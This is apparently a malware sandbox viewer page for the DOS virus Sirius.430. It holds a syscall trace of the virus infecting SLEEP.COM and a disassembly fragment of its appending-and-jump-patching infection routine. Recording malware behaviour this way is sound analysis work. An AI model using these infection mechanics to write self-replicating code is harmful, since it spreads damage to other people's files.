Sample viewer

vx.netlux.org/Virus.DOS.Sirius.430

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:51:00.193904778Z 47 PC: 12afc | Get disk transfer address
2018-12-17T22:51:00.195660986Z 26 PC: 12b0e | Set disk transfer address
2018-12-17T22:51:00.196831139Z 25 PC: 12b1d | Get default drive
2018-12-17T22:51:00.198068413Z 14 PC: 12b27 | Set default drive (Drive = ' ')
2018-12-17T22:51:00.199926845Z 78 PC: 12b4b | Find first file
2018-12-17T22:51:00.205906918Z 67 PC: 12b78 | Get or set file attributes
2018-12-17T22:51:00.211391834Z 67 PC: 12b85 | Get or set file attributes
2018-12-17T22:51:00.227835629Z 61 PC: 12b8d | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:51:00.2346522Z 87 PC: 12b94 | Get or set file date and time
2018-12-17T22:51:00.236157116Z 44 PC: 12ba2 | Get time 0x12ba2: or dl, dl
0x12ba4: je 0x12b9e
0x12ba6: mov byte ptr [bp + 0x1a8], dl
0x12baa: mov ah, 0x3f
0x12bac: lea dx, word ptr [bp + 0x176]
0x12bb0: mov cx, 3
0x12bb3: int 0x21
0x12bb5: mov ax, 0x4202
0x12bb8: xor cx, cx
0x12bba: xor dx, dx
0x12bbc: int 0x21
0x12bbe: sub ax, 3
0x12bc1: mov word ptr cs:[0xfb2d], ax
0x12bc5: mov byte ptr cs:[0xfb2c], 0xe9
0x12bcb: lea si, word ptr [bp - 3]
0x12bce: nop
0x12bcf: mov di, 0xfcbc
0x12bd2: mov cx, 0x1ae
0x12bd5: cld
0x12bd6: rep movsb byte ptr es:[di], byte ptr [si]
2018-12-17T22:51:00.239414938Z 63 PC: 12bb5 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:51:00.245619275Z 66 PC: 12bbe | Move file pointer
2018-12-17T22:51:00.247684271Z 64 PC: 12be8 | Write file or device (Write 430 bytes on handle 5)
2018-12-17T22:51:00.256704581Z 66 PC: 12bf1 | Move file pointer
2018-12-17T22:51:00.257957911Z 64 PC: 12bfb | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:51:00.2651579Z 87 PC: 12c10 | Get or set file date and time
2018-12-17T22:51:00.267073505Z 62 PC: 12c14 | Close file
2018-12-17T22:51:00.274951822Z 67 PC: 12c21 | Get or set file attributes
2018-12-17T22:51:00.284455748Z 26 PC: 12c30 | Set disk transfer address
2018-12-17T22:51:00.289322561Z 14 PC: 12c3a | Set default drive (Drive = 'A')
2018-12-17T22:51:00.290733467Z 78 PC: 12a64 | Find first file
2018-12-17T22:51:00.29649213Z 61 PC: 12a71 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:51:00.30334213Z 63 PC: 12a7e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:51:00.306570681Z 66 PC: 12a92 | Move file pointer
2018-12-17T22:51:00.308552992Z 64 PC: 12aa6 | Write file or device (Write 139 bytes on handle 5)
2018-12-17T22:51:00.312080456Z 66 PC: 12aaf | Move file pointer
2018-12-17T22:51:00.314286935Z 64 PC: 12aba | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:51:00.316888229Z 62 PC: 12abe | Close file